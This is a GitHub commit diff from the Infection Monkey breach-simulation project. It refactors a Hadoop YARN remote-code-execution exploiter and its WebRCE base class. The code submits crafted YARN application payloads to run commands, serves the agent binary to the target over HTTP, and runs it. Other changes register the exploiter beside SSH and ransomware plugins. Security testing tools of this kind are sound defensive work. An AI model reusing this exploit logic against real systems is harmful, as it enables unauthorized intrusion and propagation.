Merge pull request #1743 from guardicore/1605-modify-hadoop

Modify Hadoop exploiter
This commit is contained in:
Mike Salvatore 2022-02-24 08:02:01 -05:00 committed by GitHub
commit 85eb3a2c0d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
8 changed files with 52 additions and 93 deletions

View File

@ -33,29 +33,32 @@ class HadoopExploiter(WebRCE):
# Random string's length that's used for creating unique app name # Random string's length that's used for creating unique app name
RAN_STR_LEN = 6 RAN_STR_LEN = 6
def __init__(self, host): def __init__(self):
super(HadoopExploiter, self).__init__(host) super(HadoopExploiter, self).__init__()
def _exploit_host(self): def _exploit_host(self):
# Try to get exploitable url # Try to get exploitable url
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True) self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls: if not self.vulnerable_urls:
return False return self.exploit_result
# We presume hadoop works only on 64-bit machines
if self.host.os["type"] == "windows":
self.host.os["machine"] = "64"
paths = self.get_monkey_paths() paths = self.get_monkey_paths()
if not paths: if not paths:
return False return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
command = self.build_command(paths["dest_path"], http_path)
if not self.exploit(self.vulnerable_urls[0], command): try:
return False command = self._build_command(paths["dest_path"], http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
self.add_executed_cmd(command)
return True return self.exploit_result
def exploit(self, url, command): def exploit(self, url, command):
# Get the newly created application id # Get the newly created application id
@ -69,7 +72,7 @@ class HadoopExploiter(WebRCE):
rand_name = ID_STRING + "".join( rand_name = ID_STRING + "".join(
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
) )
payload = self.build_payload(app_id, rand_name, command) payload = self._build_payload(app_id, rand_name, command)
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
) )
@ -85,7 +88,7 @@ class HadoopExploiter(WebRCE):
return False return False
return resp.status_code == 200 return resp.status_code == 200
def build_command(self, path, http_path): def _build_command(self, path, http_path):
# Build command to execute # Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if "linux" in self.host.os["type"]: if "linux" in self.host.os["type"]:
@ -101,7 +104,7 @@ class HadoopExploiter(WebRCE):
} }
@staticmethod @staticmethod
def build_payload(app_id, name, command): def _build_payload(app_id, name, command):
payload = { payload = {
"application-id": app_id, "application-id": app_id,
"application-name": name, "application-name": name,

View File

@ -1,11 +1,10 @@
import logging import logging
import re
from abc import abstractmethod from abc import abstractmethod
from posixpath import join from posixpath import join
from typing import List, Tuple from typing import List, Tuple
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.consts import WIN_ARCH_64
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import HTTPTools
@ -15,8 +14,6 @@ from infection_monkey.model import (
CHMOD_MONKEY, CHMOD_MONKEY,
DOWNLOAD_TIMEOUT, DOWNLOAD_TIMEOUT,
DROPPER_ARG, DROPPER_ARG,
GET_ARCH_LINUX,
GET_ARCH_WINDOWS,
ID_STRING, ID_STRING,
MONKEY_ARG, MONKEY_ARG,
POWERSHELL_HTTP_UPLOAD, POWERSHELL_HTTP_UPLOAD,
@ -35,22 +32,13 @@ POWERSHELL_NOT_FOUND = "powershell is not recognized"
class WebRCE(HostExploiter): class WebRCE(HostExploiter):
def __init__(self, host, monkey_target_paths=None): def __init__(self, monkey_target_paths=None):
""" """
:param host: Host that we'll attack
:param monkey_target_paths: Where to upload the monkey at the target host system. :param monkey_target_paths: Where to upload the monkey at the target host system.
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
""" """
super(WebRCE, self).__init__(host) super(WebRCE, self).__init__()
if monkey_target_paths:
self.monkey_target_paths = monkey_target_paths self.monkey_target_paths = monkey_target_paths
else:
self.monkey_target_paths = {
"linux": self._config.dropper_target_path_linux,
"win32": self._config.dropper_target_path_win_32,
"win64": self._config.dropper_target_path_win_64,
}
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.vulnerable_urls = [] self.vulnerable_urls = []
self.target_url = None self.target_url = None
@ -80,10 +68,6 @@ class WebRCE(HostExploiter):
# vulnerable. # vulnerable.
exploit_config["stop_checking_urls"] = False exploit_config["stop_checking_urls"] = False
# blind_exploit: If true we won't check if file exist and won't try to get the
# architecture of target.
exploit_config["blind_exploit"] = False
return exploit_config return exploit_config
def _exploit_host(self): def _exploit_host(self):
@ -108,10 +92,6 @@ class WebRCE(HostExploiter):
self.target_url = self.get_target_url() self.target_url = self.get_target_url()
# Check for targets architecture (if it's 32 or 64 bit)
if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()):
return False
# Upload the right monkey to target # Upload the right monkey to target
data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
@ -133,6 +113,16 @@ class WebRCE(HostExploiter):
return True return True
def pre_exploit(self):
if not self.monkey_target_paths:
self.monkey_target_paths = {
"linux": self.options["dropper_target_path_linux"],
"win32": self.options["dropper_target_path_win_32"],
"win64": self.options["dropper_target_path_win_64"],
}
self.HTTP = [str(port) for port in self.options["http_ports"]]
super().pre_exploit()
@abstractmethod @abstractmethod
def exploit(self, url, command): def exploit(self, url, command):
""" """
@ -254,38 +244,6 @@ class WebRCE(HostExploiter):
if not self.vulnerable_urls: if not self.vulnerable_urls:
logger.info("No vulnerable urls found, skipping.") logger.info("No vulnerable urls found, skipping.")
def get_host_arch(self, url):
"""
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
if "linux" in self.host.os["type"]:
resp = self.exploit(url, GET_ARCH_LINUX)
if resp:
# Pulls architecture string
arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp)
try:
arch = arch.group(1)
except AttributeError:
logger.error("Looked for linux architecture but could not find it")
return False
if arch:
return arch
else:
logger.info("Could not pull machine architecture string from command's output")
return False
else:
return False
else:
resp = self.exploit(url, GET_ARCH_WINDOWS)
if resp:
if "64-bit" in resp:
return WIN_ARCH_64
else:
return WIN_ARCH_32
else:
return False
# Wrapped functions: # Wrapped functions:
def get_ports_w(self, ports, names): def get_ports_w(self, ports, names):
""" """
@ -302,15 +260,6 @@ class WebRCE(HostExploiter):
else: else:
return ports return ports
def set_host_arch(self, url):
arch = self.get_host_arch(url)
if not arch:
logger.error("Couldn't get host machine's architecture")
return False
else:
self.host.os["machine"] = arch
return True
def run_backup_commands(self, resp, url, dest_path, http_path): def run_backup_commands(self, resp, url, dest_path, http_path):
""" """
If you need multiple commands for the same os you can override this method to add backup If you need multiple commands for the same os you can override this method to add backup
@ -327,7 +276,9 @@ class WebRCE(HostExploiter):
"monkey_path": dest_path, "monkey_path": dest_path,
"http_path": http_path, "http_path": http_path,
} }
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() self.telemetry_messenger.send_telemtry(
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
)
resp = self.exploit(url, backup_command) resp = self.exploit(url, backup_command)
return resp return resp
@ -385,10 +336,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {"monkey_path": path} command = CHMOD_MONKEY % {"monkey_path": path}
try: try:
resp = self.exploit(url, command) resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send() self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host))
except Exception as e: except Exception as e:
logger.error("Something went wrong while trying to change permission: %s" % e) logger.error("Something went wrong while trying to change permission: %s" % e)
T1222Telem(ScanStatus.SCANNED, "", self.host).send() self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host))
return False return False
# If exploiter returns True / False # If exploiter returns True / False
if isinstance(resp, bool): if isinstance(resp, bool):
@ -517,14 +468,15 @@ class WebRCE(HostExploiter):
logger.error("Target's OS was either unidentified or not supported. Aborting") logger.error("Target's OS was either unidentified or not supported. Aborting")
return False return False
if self.host.os["type"] == "linux": if self.host.os["type"] == "linux":
return self._config.dropper_target_path_linux return self.options["dropper_target_path_linux"]
if self.host.os["type"] == "windows": if self.host.os["type"] == "windows":
try: try:
# remove now or when 32-bit binaries are removed?
if self.host.os["machine"] == WIN_ARCH_64: if self.host.os["machine"] == WIN_ARCH_64:
return self._config.dropper_target_path_win_64 return self.options["dropper_target_path_win_64"]
except KeyError: except KeyError:
logger.debug("Target's machine type was not set. Using win-32 dropper path.") logger.debug("Target's machine type was not set. Using win-32 dropper path.")
return self._config.dropper_target_path_win_32 return self.options["dropper_target_path_win_32"]
def get_target_url(self): def get_target_url(self):
""" """

View File

@ -68,7 +68,6 @@ class WebLogic201710271(WebRCE):
def get_exploit_config(self): def get_exploit_config(self):
exploit_config = super(WebLogic201710271, self).get_exploit_config() exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config["blind_exploit"] = True
exploit_config["stop_checking_urls"] = True exploit_config["stop_checking_urls"] = True
exploit_config["url_extensions"] = WebLogic201710271.URLS exploit_config["url_extensions"] = WebLogic201710271.URLS
return exploit_config return exploit_config
@ -267,7 +266,6 @@ class WebLogic20192725(WebRCE):
def get_exploit_config(self): def get_exploit_config(self):
exploit_config = super(WebLogic20192725, self).get_exploit_config() exploit_config = super(WebLogic20192725, self).get_exploit_config()
exploit_config["url_extensions"] = WebLogic20192725.URLS exploit_config["url_extensions"] = WebLogic20192725.URLS
exploit_config["blind_exploit"] = True
exploit_config["dropper"] = True exploit_config["dropper"] = True
return exploit_config return exploit_config

View File

@ -44,8 +44,7 @@ RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable # Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING CHECK_COMMAND = "echo %s" % ID_STRING
# Architecture checking commands # Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses
GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run) # All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = ( HADOOP_WINDOWS_COMMAND = (

View File

@ -17,6 +17,7 @@ from infection_monkey.credential_collectors import (
SSHCredentialCollector, SSHCredentialCollector,
) )
from infection_monkey.exploit import ExploiterWrapper from infection_monkey.exploit import ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster from infection_monkey.master import AutomatedMaster
@ -222,6 +223,9 @@ class InfectionMonkey:
exploit_wrapper.wrap(SSHExploiter), exploit_wrapper.wrap(SSHExploiter),
PluginType.EXPLOITER, PluginType.EXPLOITER,
) )
puppet.load_plugin(
"HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)

View File

@ -82,7 +82,7 @@ class TelemetryFeed(flask_restful.Resource):
def get_exploit_telem_brief(telem): def get_exploit_telem_brief(telem):
target = telem["data"]["machine"]["ip_addr"] target = telem["data"]["machine"]["ip_addr"]
exploiter = telem["data"]["exploiter"] exploiter = telem["data"]["exploiter"]
result = telem["data"]["result"] result = telem["data"]["exploitation_result"]
if result: if result:
return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter) return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter)
else: else:

View File

@ -611,6 +611,8 @@ class ConfigService:
]: ]:
exploit_options[dropper_target] = config.get(dropper_target, "") exploit_options[dropper_target] = config.get(dropper_target, "")
exploit_options["http_ports"] = sorted(config["HTTP_PORTS"])
formatted_exploiters_config = { formatted_exploiters_config = {
"options": exploit_options, "options": exploit_options,
"brute_force": [], "brute_force": [],

View File

@ -175,6 +175,7 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe", "dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe", "dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
}, },
"brute_force": [ "brute_force": [
{"name": "MSSQLExploiter", "options": {}}, {"name": "MSSQLExploiter", "options": {}},